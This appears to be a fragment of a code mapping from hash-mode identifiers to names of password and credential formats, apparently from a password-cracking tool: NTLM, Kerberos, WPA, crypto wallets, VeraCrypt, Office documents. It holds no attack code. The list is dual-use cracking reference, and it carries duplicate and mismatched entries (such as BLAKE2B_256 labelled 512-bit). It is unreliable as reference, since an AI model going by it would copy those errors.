||||
"NET_NTLM_V1_NT": "NetNTLMv1 / NetNTLMv1+ESS (NT)",
|
||||
"NET_NTLM_V2": "NetNTLMv2",
|
||||
"NET_NTLM_V2_NT": "NetNTLMv2 (NT)",
|
||||
"FLASK": "Flask Session Cookie ($salt.$salt.$pass)",
|
||||
"ISCSI_CHAP": "iSCSI CHAP authentication, MD5(CHAP)",
|
||||
"RACF": "Resource Access Control Facility",
|
||||
"AIX_SMD5": "AIX MD5",
|
||||
"AIX_SSHA1": "AIX SHA-1",
|
||||
"AIX_SSHA256": "AIX SHA-256",
|
||||
"AIX_SSHA512": "AIX SHA-512",
|
||||
"LM": "LM",
|
||||
"QNX_MD5": "QNX /etc/shadow (MD5)",
|
||||
"QNX_SHA256": "QNX /etc/shadow (SHA256)",
|
||||
"QNX_SHA512": "QNX /etc/shadow (SHA512)",
|
||||
"DPAPI_V1_CTX_1_AND_2": "DPAPI masterkey file v1 (context 1 and 2)",
|
||||
"DPAPI_V1_CTX_3": "DPAPI masterkey file v1 (context 3)",
|
||||
"DPAPI_V2_CTX_1_AND_2": "DPAPI masterkey file v2 (context 1)",
|
||||
"DPAPI_V2_CTX_3": "DPAPI masterkey file v2 (context 3)",
|
||||
"GRUB_2": "GRUB 2",
|
||||
"MS_AZURE_SYNC": "MS-AzureSync PBKDF2-HMAC-SHA256",
|
||||
"BSDI_CRYPT": "BSDi Crypt, Extended DES",
|
||||
"NTLM": "NTLM",
|
||||
"RADMIN2": "Radmin2",
|
||||
"SAMSUNG_ANDROID": "Samsung Android Password/PIN",
|
||||
"WINDOWS_HELLO_PIN": "Windows Hello PIN/Password",
|
||||
"WINDOWS_PHONE": "Windows Phone 8+ PIN/Password",
|
||||
"CISCO_ASA_MD5": "Cisco-ASA MD5",
|
||||
"CISCO_IOS_PBKDF2_SHA256": "Cisco-IOS $8$ (PBKDF2-SHA256)",
|
||||
"CISCO_IOS_SCRYPT": "Cisco-IOS $9$ (scrypt)",
|
||||
"CISCO_PIX_MD5": "Cisco-Pix MD5",
|
||||
"CITRIX_NETSCALER_SHA1": "Citrix NetScaler (SHA1)",
|
||||
"CITRIX_NETSCALER_SHA512": "Citrix NetScaler (SHA512)",
|
||||
"DCC": "Domain Cached Credentials (DCC), MS Cache",
|
||||
"DCC2": "Domain Cached Credentials 2 (DCC2), MS Cache 2",
|
||||
|
||||
// ...
|
||||
|
||||
"MACOS_10_8": "macOS v10.8+ (PBKDF2-SHA512)",
|
||||
|
||||
// ...
|
||||
|
||||
// INVALID = 9999; // Invalid hash type
|
||||
|
||||
// Out of order
|
||||
"BCRYPT_UNIX": "bcrypt",
|
||||
"SHA512_CRYPT_UNIX": "sha512crypt $6$, SHA512 (Unix)",
|
||||
"MD5": "MD5",
|
||||
"MD5_PW_SALT": "md5($pass.$salt)",
|
||||
"JOOMLA_2_5_18": "Joomla < 2.5.18",
|
||||
"POSTGRESQL": "PostgreSQL",
|
||||
"MD5_SALT_PW": "md5($salt.$pass)",
|
||||
"OSCOMMERCE_XT_COMMERCE": "osCommerce, xt:Commerce",
|
||||
"JUNIPER_NETSCREEN_SSG_SCREENOS": "Juniper NetScreen/SSG (ScreenOS)",
|
||||
"SKYPE": "Skype",
|
||||
"SOLARWINDS_SERV_U": "SolarWinds Serv-U",
|
||||
"MD5_UTF16LE_PASS_SALT": "md5(utf16le($pass).$salt)",
|
||||
"MD5_SALT_UTF16LE_PASS": "md5($salt.utf16le($pass))",
|
||||
"HMAC_MD5_KEY_PASS": "HMAC-MD5 (key = $pass)",
|
||||
"HMAC_MD5_KEY_SALT": "HMAC-MD5 (key = $salt)",
|
||||
"MD5_UTF16LE": "md5(utf16le($pass))",
|
||||
"SHA1": "SHA1",
|
||||
"NSLDAP_SHA_1_BASE64_NETSCAPE_LDAP_SHA": "nsldap, SHA-1(Base64), Netscape LDAP SHA",
|
||||
"SHA1_PASS_SALT": "sha1($pass.$salt)",
|
||||
"NSLDAPS_SSHA_1_BASE64_NETSCAPE_LDAP_SSHA": "nsldaps, SSHA-1(Base64), Netscape LDAP SSHA",
|
||||
"ORACLE_S_TYPE_ORACLE_11": "Oracle S: Type (Oracle 11+)",
|
||||
"SHA1_SALT_PASS": "sha1($salt.$pass)",
|
||||
"SMF_SIMPLE_MACHINES_FORUM_V1_1": "SMF (Simple Machines Forum) > v1.1",
|
||||
"MACOS_V10_4_MACOS_V10_5_MACOS_V10_6": "macOS v10.4, macOS v10.5, macOS v10.6",
|
||||
"DJANGO_SHA_1": "Django (SHA-1)",
|
||||
"ARUBAOS": "ArubaOS",
|
||||
"SHA1_UTF16LE_PASS_SALT": "sha1(utf16le($pass).$salt)",
|
||||
"MSSQL_2000": "MSSQL (2000)",
|
||||
"MSSQL_2005": "MSSQL (2005)",
|
||||
"PEOPLESOFT": "PeopleSoft",
|
||||
"SHA1_SALT_UTF16LE_PASS": "sha1($salt.utf16le($pass))",
|
||||
"EPISERVER_6_X_NET_4_MODE_141": "Episerver 6.x < .NET 4",
|
||||
"HMAC_SHA1_KEY_PASS": "HMAC-SHA1 (key = $pass)",
|
||||
"HMAC_SHA1_KEY_SALT": "HMAC-SHA1 (key = $salt)",
|
||||
"SHA1_UTF16LE": "sha1(utf16le($pass))",
|
||||
"MYSQL323": "MySQL323",
|
||||
"MYSQL4_1_MYSQL5": "MySQL4.1/MySQL5",
|
||||
"PHPASS": "phpass",
|
||||
"MD5CRYPT_MD5_UNIX_CISCO_IOS_1_MD5": "md5crypt, MD5 (Unix), Cisco-IOS $1$ (MD5)",
|
||||
"JUNIPER_IVE": "Juniper IVE",
|
||||
"BLAKE2B_256": "BLAKE2b-512",
|
||||
"BLAKE2B_512_PW_SALT": "BLAKE2b-512($pass.$salt)",
|
||||
"BLAKE2B_512_SALT_PW": "BLAKE2b-512($salt.$pass)",
|
||||
"MD4": "MD4",
|
||||
"NTLM": "NTLM",
|
||||
"DCC": "Domain Cached Credentials (DCC), MS Cache",
|
||||
"SHA2_224": "SHA2-224",
|
||||
"SHA224_PASS_SALT": "sha224($pass.$salt)",
|
||||
"SHA224_SALT_PASS": "sha224($salt.$pass)",
|
||||
"SHA2_256": "SHA2-256",
|
||||
"SHA256_PASS_SALT": "sha256($pass.$salt)",
|
||||
"SSHA_256_BASE64_LDAP_SSHA256": "SSHA-256(Base64), LDAP {SSHA256}",
|
||||
"SHA256_SALT_PASS": "sha256($salt.$pass)",
|
||||
"HMAILSERVER": "hMailServer",
|
||||
"SHA256_UTF16LE_PASS_SALT": "sha256(utf16le($pass).$salt)",
|
||||
"SHA256_SALT_UTF16LE_PASS": "sha256($salt.utf16le($pass))",
|
||||
"EPISERVER_6_X_NET_4_MODE_1441": "Episerver 6.x >= .NET 4",
|
||||
"HMAC_SHA256_KEY_PASS": "HMAC-SHA256 (key = $pass)",
|
||||
"HMAC_SHA256_KEY_SALT": "HMAC-SHA256 (key = $salt)",
|
||||
"SHA256_UTF16LE": "sha256(utf16le($pass))",
|
||||
"DESCRYPT_DES_UNIX_TRADITIONAL_DES": "descrypt, DES (Unix), Traditional DES",
|
||||
"APACHE_APR1_MD5_MD5APR1_MD5_APR": "Apache $apr1$ MD5, md5apr1, MD5 (APR)",
|
||||
"SHA2_512": "SHA2-512",
|
||||
"SHA512_PASS_SALT": "sha512($pass.$salt)",
|
||||
"SSHA_512_BASE64_LDAP_SSHA512": "SSHA-512(Base64), LDAP {SSHA512}",
|
||||
"SHA512_SALT_PASS": "sha512($salt.$pass)",
|
||||
"MACOS_V10_7": "macOS v10.7",
|
||||
"SHA512_UTF16LE_PASS_SALT": "sha512(utf16le($pass).$salt)",
|
||||
"MSSQL_2012_2014": "MSSQL (2012, 2014)",
|
||||
"SHA512_SALT_UTF16LE_PASS": "sha512($salt.utf16le($pass))",
|
||||
"HMAC_SHA512_KEY_PASS": "HMAC-SHA512 (key = $pass)",
|
||||
"HMAC_SHA512_KEY_SALT": "HMAC-SHA512 (key = $salt)",
|
||||
"SHA512_UTF16LE": "sha512(utf16le($pass))",
|
||||
"SHA512_CRYPT_UNIX": "sha512crypt $6$, SHA512 (Unix)",
|
||||
"STDOUT": "STDOUT",
|
||||
"DCC2": "Domain Cached Credentials 2 (DCC2), MS Cache 2",
|
||||
"CISCO_PIX_MD5": "Cisco-PIX MD5",
|
||||
"CISCO_ASA_MD5": "Cisco-ASA MD5",
|
||||
"WPA_EAPOL_PBKDF2": "WPA-EAPOL-PBKDF2",
|
||||
"WPA_EAPOL_PMK": "WPA-EAPOL-PMK",
|
||||
"MD5_MD5_PASS": "md5(md5($pass))",
|
||||
"VBULLETIN_V3_8_5_MODE_2611": "vBulletin < v3.8.5",
|
||||
"PHPS": "PHPS",
|
||||
"MD5_MD5_PASS_SALT": "md5(md5($pass.$salt))",
|
||||
"VBULLETIN_V3_8_5_MODE_2711": "vBulletin >= v3.8.5",
|
||||
"MYBB_1_2_IPB2_INVISION_POWER_BOARD": "MyBB 1.2+, IPB2+ (Invision Power Board)",
|
||||
"LM": "LM",
|
||||
"ORACLE_H_TYPE_ORACLE_7": "Oracle H: Type (Oracle 7+)",
|
||||
"BCRYPT_UNIX": "bcrypt $2*$, Blowfish (Unix)",
|
||||
"MD5_MD5_MD5_PASS": "md5(md5(md5($pass)))",
|
||||
"MD5_MD5_MD5_PASS_SALT": "md5(md5(md5($pass)).$salt)",
|
||||
"MD5_SALT_MD5_PW": "md5($salt.md5($pass))",
|
||||
"MEDIAWIKI_B_TYPE": "MediaWiki B type",
|
||||
"MD5_SALT1_STRTOUPPER_MD5_SALT2_PASS": "md5($salt1.strtoupper(md5($salt2.$pass)))",
|
||||
"MD5_SALT_PW_SALT": "md5($salt.$pass.$salt)",
|
||||
"MD5_MD5_PASS_MD5_SALT": "md5(md5($pass).md5($salt))",
|
||||
"MD5_SALT_MD5_SALT_PASS": "md5($salt.md5($salt.$pass))",
|
||||
"MD5_SALT_MD5_PASS_SALT_MODE_4110": "md5($salt.md5($pass.$salt))",
|
||||
"MD5_STRTOUPPER_MD5_PASS": "md5(strtoupper(md5($pass)))",
|
||||
"MD5_SHA1_PASS": "md5(sha1($pass))",
|
||||
"MD5_SHA1_PASS_SALT_MODE_4410": "md5(sha1($pass).$salt)",
|
||||
"MD5_SHA1_PASS_SALT_MODE_4420": "md5(sha1($pass.$salt))",
|
||||
"MD5_SHA1_SALT_PASS": "md5(sha1($salt.$pass))",
|
||||
"SHA1_SHA1_PASS": "sha1(sha1($pass))",
|
||||
"SHA1_SHA1_PASS_SALT": "sha1(sha1($pass).$salt)",
|
||||
"SHA1_SALT_SHA1_PASS": "sha1($salt.sha1($pass))",
|
||||
"REDMINE": "Redmine",
|
||||
"PUNBB": "PunBB",
|
||||
"SHA1_MD5_PASS": "sha1(md5($pass))",
|
||||
"SHA1_MD5_PASS_SALT_MODE_4710": "sha1(md5($pass).$salt)",
|
||||
"HUAWEI_SHA1_MD5_PASS_SALT": "Huawei sha1(md5($pass).$salt)",
|
||||
"ISCSI_CHAP": "iSCSI CHAP authentication, MD5(CHAP)",
|
||||
"SHA1_SALT_PASS_SALT": "sha1($salt.$pass.$salt)",
|
||||
"SHA1_SHA1_SALT_PASS_SALT": "sha1(sha1($salt.$pass.$salt))",
|
||||
"HALF_MD5": "Half MD5",
|
||||
"PASSWORD_SAFE_V3": "Password Safe v3",
|
||||
"IKE_MD5": "IKE-PSK MD5",
|
||||
"IKE_SHA1": "IKE-PSK SHA1",
|
||||
"NET_NTLM_V1": "NetNTLMv1 / NetNTLMv1+ESS",
|
||||
"NET_NTLM_V2": "NetNTLMv2",
|
||||
"CISCO_IOS_TYPE_4_SHA256": "Cisco-IOS type 4 (SHA256)",
|
||||
"CISCO_ISE_HASHED_PASSWORD_SHA256": "Cisco-ISE Hashed Password (SHA256)",
|
||||
"SAMSUNG_ANDROID": "Samsung Android Password/PIN",
|
||||
"RIPEMD_160": "RIPEMD-160",
|
||||
"HMAC_RIPEMD160_KEY_PASS": "HMAC-RIPEMD160 (key = $pass)",
|
||||
"HMAC_RIPEMD160_KEY_SALT": "HMAC-RIPEMD160 (key = $salt)",
|
||||
"WHIRLPOOL": "Whirlpool",
|
||||
"TRUECRYPT_RIPEMD160_XTS_512_BIT_LEGACY": "TrueCrypt RIPEMD160 + XTS 512 bit (legacy)",
|
||||
"TRUECRYPT_RIPEMD160_XTS_1024_BIT_LEGACY": "TrueCrypt RIPEMD160 + XTS 1024 bit (legacy)",
|
||||
"TRUECRYPT_RIPEMD160_XTS_1536_BIT_LEGACY": "TrueCrypt RIPEMD160 + XTS 1536 bit (legacy)",
|
||||
"TRUECRYPT_SHA512_XTS_512_BIT_LEGACY": "TrueCrypt SHA512 + XTS 512 bit (legacy)",
|
||||
"TRUECRYPT_SHA512_XTS_1024_BIT_LEGACY": "TrueCrypt SHA512 + XTS 1024 bit (legacy)",
|
||||
"TRUECRYPT_SHA512_XTS_1536_BIT_LEGACY": "TrueCrypt SHA512 + XTS 1536 bit (legacy)",
|
||||
"TRUECRYPT_WHIRLPOOL_XTS_512_BIT_LEGACY": "TrueCrypt Whirlpool + XTS 512 bit (legacy)",
|
||||
"TRUECRYPT_WHIRLPOOL_XTS_1024_BIT_LEGACY": "TrueCrypt Whirlpool + XTS 1024 bit (legacy)",
|
||||
"TRUECRYPT_WHIRLPOOL_XTS_1536_BIT_LEGACY": "TrueCrypt Whirlpool + XTS 1536 bit (legacy)",
|
||||
"TRUECRYPT_RIPEMD160_XTS_512_BIT_BOOT_MODE_LEGACY": "TrueCrypt RIPEMD160 + XTS 512 bit + boot-mode (legacy)",
|
||||
"TRUECRYPT_RIPEMD160_XTS_1024_BIT_BOOT_MODE_LEGACY": "TrueCrypt RIPEMD160 + XTS 1024 bit + boot-mode (legacy)",
|
||||
"TRUECRYPT_RIPEMD160_XTS_1536_BIT_BOOT_MODE_LEGACY": "TrueCrypt RIPEMD160 + XTS 1536 bit + boot-mode (legacy)",
|
||||
"AIX_SMD5": "AIX {smd5}",
|
||||
"AIX_SSHA256": "AIX {ssha256}",
|
||||
"AIX_SSHA512": "AIX {ssha512}",
|
||||
"HASHCAT_1PASSWORD_AGILEKEYCHAIN": "1Password, agilekeychain",
|
||||
"AIX_SSHA1": "AIX {ssha1}",
|
||||
"LASTPASS_LASTPASS_SNIFFED": "LastPass + LastPass sniffed",
|
||||
"GOST_R_34_11_94": "GOST R 34.11-94",
|
||||
"FORTIGATE_FORTIOS": "FortiGate (FortiOS)",
|
||||
"MACOS_10_8": "macOS v10.8+ (PBKDF2-SHA512)",
|
||||
"GRUB_2": "GRUB 2",
|
||||
"IPMI2_PAKP_HMAC_SHA1": "IPMI2 RAKP HMAC-SHA1",
|
||||
"IPMI2_RAKP_HMAC_MD5": "IPMI2 RAKP HMAC-MD5",
|
||||
"SHA256CRYPT_5_SHA256_UNIX": "sha256crypt $5$, SHA256 (Unix)",
|
||||
"MYSQL_A_SHA256CRYPT": "MySQL $A$ (sha256crypt)",
|
||||
"KERBEROS_23_SA_REQ_PREAUTH": "Kerberos 5, etype 23, AS-REQ Pre-Auth",
|
||||
"SAP_CODVN_B_BCODE": "SAP CODVN B (BCODE)",
|
||||
"SAP_CODVN_B_BCODE_FROM_RFC_READ_TABLE": "SAP CODVN B (BCODE) from RFC_READ_TABLE",
|
||||
"SAP_CODVN_F_G_PASSCODE": "SAP CODVN F/G (PASSCODE)",
|
||||
"SAP_CODVN_F_G_PASSCODE_FROM_RFC_READ_TABLE": "SAP CODVN F/G (PASSCODE) from RFC_READ_TABLE",
|
||||
"DRUPAL7": "Drupal7",
|
||||
"SYBASE_ASE": "Sybase ASE",
|
||||
"CITRIX_NETSCALER_SHA1": "Citrix NetScaler (SHA1)",
|
||||
"HASHCAT_1PASSWORD_CLOUDKEYCHAIN": "1Password, cloudkeychain",
|
||||
"DNSSEC_NSEC3": "DNSSEC (NSEC3)",
|
||||
"WBB3_WOLTLAB_BURNING_BOARD": "WBB3 (Woltlab Burning Board)",
|
||||
"RACF": "RACF",
|
||||
"AS_400_DES": "AS/400 DES",
|
||||
"LOTUS_NOTES_DOMINO_5": "Lotus Notes/Domino 5",
|
||||
"LOTUS_NOTES_DOMINO_6": "Lotus Notes/Domino 6",
|
||||
"ANDROID_FDE_4_3": "Android FDE <= 4.3",
|
||||
"SCRYPT": "scrypt",
|
||||
"PASSWORD_SAFE_V2": "Password Safe v2",
|
||||
"LOTUS_NOTES_DOMINO_8": "Lotus Notes/Domino 8",
|
||||
"CISCO_IOS_PBKDF2_SHA256": "Cisco-IOS $8$ (PBKDF2-SHA256)",
|
||||
"CISCO_IOS_SCRYPT": "Cisco-IOS $9$ (scrypt)",
|
||||
"MS_OFFICE_2007": "MS Office 2007",
|
||||
"MS_OFFICE_2010": "MS Office 2010",
|
||||
"MS_OFFICE_2013": "MS Office 2013",
|
||||
"MS_OFFICE_2003_0_1_MD5_RC4": "MS Office <= 2003 $0/$1, MD5 + RC4",
|
||||
"MS_OFFICE_2003_0_1_MD5_RC4_COLLIDER_1": "MS Office <= 2003 $0/$1, MD5 + RC4, collider #1",
|
||||
"MS_OFFICE_2003_0_1_MD5_RC4_COLLIDER_2": "MS Office <= 2003 $0/$1, MD5 + RC4, collider #2",
|
||||
"MS_OFFICE_2003_3_4_SHA1_RC4": "MS Office <= 2003 $3/$4, SHA1 + RC4",
|
||||
"MS_OFFICE_2003_3_SHA1_RC4_COLLIDER_1": "MS Office <= 2003 $3, SHA1 + RC4, collider #1",
|
||||
"MS_OFFICE_2003_3_SHA1_RC4_COLLIDER_2": "MS Office <= 2003 $3, SHA1 + RC4, collider #2",
|
||||
"RADMIN2": "Radmin2",
|
||||
"DJANGO_PBKDF2_SHA256": "Django (PBKDF2-SHA256)",
|
||||
"SIPHASH": "SipHash",
|
||||
"CRAM_MD5": "CRAM-MD5",
|
||||
"SAP_CODVN_H_PWDSALTEDHASH_ISSHA_1": "SAP CODVN H (PWDSALTEDHASH) iSSHA-1",
|
||||
"PDF_1_1_1_3_ACROBAT_2_4": "PDF 1.1 - 1.3 (Acrobat 2 - 4)",
|
||||
"PDF_1_1_1_3_ACROBAT_2_4_COLLIDER_1": "PDF 1.1 - 1.3 (Acrobat 2 - 4), collider #1",
|
||||
"PDF_1_1_1_3_ACROBAT_2_4_COLLIDER_2": "PDF 1.1 - 1.3 (Acrobat 2 - 4), collider #2",
|
||||
"PDF_1_4_1_6_ACROBAT_5_8": "PDF 1.4 - 1.6 (Acrobat 5 - 8)",
|
||||
"PDF_1_3_1_6_ACROBAT_4_8_W_RC4_40": "PDF 1.3 - 1.6 (Acrobat 4 - 8) w/ RC4-40",
|
||||
"PDF_1_7_LEVEL_3_ACROBAT_9": "PDF 1.7 Level 3 (Acrobat 9)",
|
||||
"PDF_1_7_LEVEL_8_ACROBAT_10_11": "PDF 1.7 Level 8 (Acrobat 10 - 11)",
|
||||
"SHA2_384": "SHA2-384",
|
||||
"SHA384_PASS_SALT": "sha384($pass.$salt)",
|
||||
"SHA384_SALT_PASS": "sha384($salt.$pass)",
|
||||
"SHA384_UTF16LE_PASS_SALT": "sha384(utf16le($pass).$salt)",
|
||||
"SHA384_SALT_UTF16LE_PASS": "sha384($salt.utf16le($pass))",
|
||||
"SHA384_UTF16LE": "sha384(utf16le($pass))",
|
||||
"PBKDF2_HMAC_SHA256": "PBKDF2-HMAC-SHA256",
|
||||
"REDHAT_389_DS_LDAP_PBKDF2_HMAC_SHA256": "RedHat 389-DS LDAP (PBKDF2-HMAC-SHA256)",
|
||||
"PRESTASHOP": "PrestaShop",
|
||||
"POSTGRESQL_CRAM_MD5": "PostgreSQL CRAM (MD5)",
|
||||
"MYSQL_CRAM_SHA1": "MySQL CRAM (SHA1)",
|
||||
"BITCOIN_LITECOIN_WALLET_DAT": "Bitcoin/Litecoin wallet.dat",
|
||||
"SIP_DIGEST": "SIP digest authentication (MD5)",
|
||||
"CRC32": "CRC32",
|
||||
"HASHCAT_7_ZIP": "7-Zip",
|
||||
"GOST_R_32_11_2012_256": "GOST R 34.11-2012 (Streebog) 256-bit, big-endian",
|
||||
"HMAC_STREEBOG_256_KEY_PASS_BIG_ENDIAN": "HMAC-Streebog-256 (key = $pass), big-endian",
|
||||
"HMAC_STREEBOG_256_KEY_SALT_BIG_ENDIAN": "HMAC-Streebog-256 (key = $salt), big-endian",
|
||||
"GOST_R_32_11_2012_512": "GOST R 34.11-2012 (Streebog) 512-bit, big-endian",
|
||||
"HMAC_STREEBOG_512_KEY_PASS_BIG_ENDIAN": "HMAC-Streebog-512 (key = $pass), big-endian",
|
||||
"HMAC_STREEBOG_512_KEY_SALT_BIG_ENDIAN": "HMAC-Streebog-512 (key = $salt), big-endian",
|
||||
"PBKDF2_HMAC_MD5": "PBKDF2-HMAC-MD5",
|
||||
"PBKDF2_HMAC_SHA1": "PBKDF2-HMAC-SHA1",
|
||||
"ATLASSIAN_PBKDF2_HMAC_SHA1": "Atlassian (PBKDF2-HMAC-SHA1)",
|
||||
"PBKDF2_HMAC_SHA512": "PBKDF2-HMAC-SHA512",
|
||||
"APACHE_SHIRO_1_SHA_512": "Apache Shiro 1 SHA-512",
|
||||
"ECRYPTFS": "eCryptfs",
|
||||
"ORACLE_T_TYPE_ORACLE_12": "Oracle T: Type (Oracle 12+)",
|
||||
"BSDI_CRYPT": "BSDi Crypt, Extended DES",
|
||||
"RAR3_HP": "RAR3-hp",
|
||||
"COLDFUSION_10": "ColdFusion 10+",
|
||||
"BLOCKCHAIN_MY_WALLET": "Blockchain, My Wallet",
|
||||
"MS_AZURE_SYNC": "MS-AzureSync PBKDF2-HMAC-SHA256",
|
||||
"ANDROID_FDE_SAMSUNG_DEK": "Android FDE (Samsung DEK)",
|
||||
"RAR5": "RAR5",
|
||||
"KERBEROS_23_TGS_REP": "Kerberos 5, etype 23, TGS-REP",
|
||||
"AXCRYPT_1": "AxCrypt 1",
|
||||
"AXCRYPT_1_IN_MEMORY_SHA1": "AxCrypt 1 in-memory SHA1",
|
||||
"KEEPASS_KDBX_V2_V3": "KeePass (KDBX v2/v3)",
|
||||
"PEOPLESOFT_PS_TOKEN": "PeopleSoft PS_TOKEN",
|
||||
"WINZIP": "WinZip",
|
||||
"VERACRYPT_RIPEMD160_XTS_512_BIT_LEGACY": "VeraCrypt RIPEMD160 + XTS 512 bit (legacy)",
|
||||
"VERACRYPT_RIPEMD160_XTS_1024_BIT_LEGACY": "VeraCrypt RIPEMD160 + XTS 1024 bit (legacy)",
|
||||
"VERACRYPT_RIPEMD160_XTS_1536_BIT_LEGACY": "VeraCrypt RIPEMD160 + XTS 1536 bit (legacy)",
|
||||
"VERACRYPT_SHA512_XTS_512_BIT_LEGACY": "VeraCrypt SHA512 + XTS 512 bit (legacy)",
|
||||
"VERACRYPT_SHA512_XTS_1024_BIT_LEGACY": "VeraCrypt SHA512 + XTS 1024 bit (legacy)",
|
||||
"VERACRYPT_SHA512_XTS_1536_BIT_LEGACY": "VeraCrypt SHA512 + XTS 1536 bit (legacy)",
|
||||
"VERACRYPT_WHIRLPOOL_XTS_512_BIT_LEGACY": "VeraCrypt Whirlpool + XTS 512 bit (legacy)",
|
||||
"VERACRYPT_WHIRLPOOL_XTS_1024_BIT_LEGACY": "VeraCrypt Whirlpool + XTS 1024 bit (legacy)",
|
||||
"VERACRYPT_WHIRLPOOL_XTS_1536_BIT_LEGACY": "VeraCrypt Whirlpool + XTS 1536 bit (legacy)",
|
||||
"VERACRYPT_RIPEMD160_XTS_512_BIT_BOOT_MODE_LEGACY": "VeraCrypt RIPEMD160 + XTS 512 bit + boot-mode (legacy)",
|
||||
"VERACRYPT_RIPEMD160_XTS_1024_BIT_BOOT_MODE_LEGACY": "VeraCrypt RIPEMD160 + XTS 1024 bit + boot-mode (legacy)",
|
||||
"VERACRYPT_RIPEMD160_XTS_1536_BIT_BOOT_MODE_LEGACY": "VeraCrypt RIPEMD160 + XTS 1536 bit + boot-mode (legacy)",
|
||||
"VERACRYPT_SHA256_XTS_512_BIT_LEGACY": "VeraCrypt SHA256 + XTS 512 bit (legacy)",
|
||||
"VERACRYPT_SHA256_XTS_1024_BIT_LEGACY": "VeraCrypt SHA256 + XTS 1024 bit (legacy)",
|
||||
"VERACRYPT_SHA256_XTS_1536_BIT_LEGACY": "VeraCrypt SHA256 + XTS 1536 bit (legacy)",
|
||||
"VERACRYPT_SHA256_XTS_512_BIT_BOOT_MODE_LEGACY": "VeraCrypt SHA256 + XTS 512 bit + boot-mode (legacy)",
|
||||
"VERACRYPT_SHA256_XTS_1024_BIT_BOOT_MODE_LEGACY": "VeraCrypt SHA256 + XTS 1024 bit + boot-mode (legacy)",
|
||||
"VERACRYPT_SHA256_XTS_1536_BIT_BOOT_MODE_LEGACY": "VeraCrypt SHA256 + XTS 1536 bit + boot-mode (legacy)",
|
||||
"VERACRYPT_STREEBOG_512_XTS_512_BIT_LEGACY": "VeraCrypt Streebog-512 + XTS 512 bit (legacy)",
|
||||
"VERACRYPT_STREEBOG_512_XTS_1024_BIT_LEGACY": "VeraCrypt Streebog-512 + XTS 1024 bit (legacy)",
|
||||
"VERACRYPT_STREEBOG_512_XTS_1536_BIT_LEGACY": "VeraCrypt Streebog-512 + XTS 1536 bit (legacy)",
|
||||
"VERACRYPT_STREEBOG_512_XTS_512_BIT_BOOT_MODE_LEGACY": "VeraCrypt Streebog-512 + XTS 512 bit + boot-mode (legacy)",
|
||||
"VERACRYPT_STREEBOG_512_XTS_1024_BIT_BOOT_MODE_LEGACY": "VeraCrypt Streebog-512 + XTS 1024 bit + boot-mode (legacy)",
|
||||
"VERACRYPT_STREEBOG_512_XTS_1536_BIT_BOOT_MODE_LEGACY": "VeraCrypt Streebog-512 + XTS 1536 bit + boot-mode (legacy)",
|
||||
"WINDOWS_PHONE": "Windows Phone 8+ PIN/password",
|
||||
"OPENCART": "OpenCart",
|
||||
"DES": "DES (PT = $salt, key = $pass)",
|
||||
"THREE_DES": "3DES (PT = $salt, key = $pass)",
|
||||
"RACF_KDFAES": "RACF KDFAES",
|
||||
"SHA1_CX": "sha1(CX)",
|
||||
"LINUX_KERNEL_CRYPTO_API_24": "Linux Kernel Crypto API (2.4)",
|
||||
"LUKS_V1_LEGACY": "LUKS v1 (legacy)",
|
||||
"ITUNES_BACKUP_10_0_MODE_14700": "iTunes backup < 10.0",
|
||||
"ITUNES_BACKUP_10_0_MODE_14800": "iTunes backup >= 10.0",
|
||||
"SKIP_32": "Skip32 (PT = $salt, key = $pass)",
|
||||
"FILEZILLA_SERVER_0_9_55": "FileZilla Server >= 0.9.55",
|
||||
"JUNIPER_NETBSD_SHA1CRYPT": "Juniper/NetBSD sha1crypt",
|
||||
"BLOCKCHAIN_MY_WALLET_V2": "Blockchain, My Wallet, V2",
|
||||
"DPAPI_V1_CTX_1_AND_2": "DPAPI masterkey file v1 (context 1 and 2)",
|
||||
"DPAPI_V1_CTX_3": "DPAPI masterkey file v1 (context 3)",
|
||||
"CHA_CHA_20": "ChaCha20",
|
||||
"JKS_JAVA_KEY_STORE_PRIVATE_KEYS_SHA1": "JKS Java Key Store Private Keys (SHA1)",
|
||||
"ETHEREUM_WALLET_PBKDF2_HMAC_SHA256": "Ethereum Wallet, PBKDF2-HMAC-SHA256",
|
||||
"ETHEREUM_WALLET_SCRYPT": "Ethereum Wallet, SCRYPT",
|
||||
"DPAPI_V2_CTX_1_AND_2": "DPAPI masterkey file v2 (context 1 and 2)",
|
||||
"DPAPI_V2_CTX_3": "DPAPI masterkey file v2 (context 3)",
|
||||
"TRIPCODE": "Tripcode",
|
||||
"TACACS_PLUS": "TACACS+",
|
||||
"APPLE_SECURE_NOTES": "Apple Secure Notes",
|
||||
"ETHEREUM_PRE_SALE_WALLET_PBKDF2_HMAC_SHA256": "Ethereum Pre-Sale Wallet, PBKDF2-HMAC-SHA256",
|
||||
"CRAM_MD5_DOVECOT": "CRAM-MD5 Dovecot",
|
||||
"JWT": "JWT (JSON Web Token)",
|
||||
"PERL_MOJOLICIOUS_SESSION_COOKIE_HMAC_SHA256_V9_19": "Perl Mojolicious session cookie (HMAC-SHA256, >= v9.19)",
|
||||
"ELECTRUM_WALLET_SALT_TYPE_1_3": "Electrum Wallet (Salt-Type 1-3)",
|
||||
"FILEVAULT_2": "FileVault 2",
|
||||
"WPA_PMKID_PBKDF2": "WPA-PMKID-PBKDF2",
|
||||
"WPA_PMKID_PMK": "WPA-PMKID-PMK",
|
||||
"ANSIBLE_VAULT": "Ansible Vault",
|
||||
"GPG": "GPG (AES-128/AES-256 (SHA-1($pass)))",
|
||||
"GPG_AES_128_AES_256_SHA_512_PASS": "GPG (AES-128/AES-256 (SHA-512($pass)))",
|
||||
"GPG_AES_128_AES_256_SHA_256_PASS": "GPG (AES-128/AES-256 (SHA-256($pass)))",
|
||||
"GPG_CAST5_SHA_1_PASS": "GPG (CAST5 (SHA-1($pass)))",
|
||||
"GPG_AES_OCB_128_SHA_1_PASS": "GPG (AES-OCB-128 (SHA-1($pass)))",
|
||||
"PKZIP_COMPRESSED": "PKZIP (Compressed)",
|
||||
"PKZIP_UNCOMPRESSED": "PKZIP (Uncompressed)",
|
||||
"PKZIP_COMPRESSED_MULTI_FILE": "PKZIP (Compressed Multi-File)",
|
||||
"PKZIP_MIXED_MULTI_FILE": "PKZIP (Mixed Multi-File)",
|
||||
"PKZIP_MIXED_MULTI_FILE_CHECKSUM_ONLY": "PKZIP (Mixed Multi-File Checksum-Only)",
|
||||
"SHA3_224": "SHA3-224",
|
||||
"SHA3_256": "SHA3-256",
|
||||
"SHA3_384": "SHA3-384",
|
||||
"SHA3_512": "SHA3-512",
|
||||
"KECCAK_224": "Keccak-224",
|
||||
"KECCAK_256": "Keccak-256",
|
||||
"KECCAK_384": "Keccak-384",
|
